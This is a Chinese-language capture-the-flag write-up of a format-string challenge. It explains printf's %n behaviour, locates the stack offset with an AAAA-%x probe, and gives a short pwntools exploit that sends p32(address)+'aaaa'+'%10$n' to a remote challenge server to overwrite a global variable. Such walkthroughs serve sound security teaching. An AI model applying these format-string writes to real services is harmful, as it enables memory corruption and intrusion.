题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
0x01
checksec

IDA

运行效果

0x02
分析程序,需要在pwnme的值等于8的时候才能得到flag,但是pwnme的值是不可控的

观察pwnme上面的代码,用到了printf(&s),可以使用格式化字符串漏洞改pwnme的值
格式化字符串漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | printf(s); 这种写法是危险的,当其第一个参数可被控制时,攻击者将有机会对任意内存地址进行读写操作
  因为当我们输入printf可识别的格式化字符串时,printf会将其作为格式化字符串进行解析并输出
 
  printf("格式化字符串",参数...) 格式化字符串: 	%d - 十进制 - 输出十进制整数 	%s - 字符串 - 从内存中读取字符串 	%x - 十六进制 - 输出十六进制数 	%c - 字符 - 输出字符 	%p - 指针 - 指针地址 	%n - 到目前为止所写的字符数
   | 
 
通过格式化字符串的漏洞把值写入pwnme中
在massage处输入,下面的printf函数会帮我们把内容输出
AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x

41414141就是我们输入的四个A的十六进制,偏移量是10
pwnme需要等于8,可以使用四个a凑字数
0x03
exp构造
1 2 3 4 5 6 7 8 9 10 11 12
   | from pwn import *
  p = remote('220.249.52.133',36905)
  pwnme_addr = 0x0804A068 payload = p32(pwnme_addr)+'aaaa'+'%10$n'
  p.recvuntil('please tell me your name:') p.sendline('1') p.recvuntil('leave your message please:') p.sendline(payload) p.interactive()
   | 
 
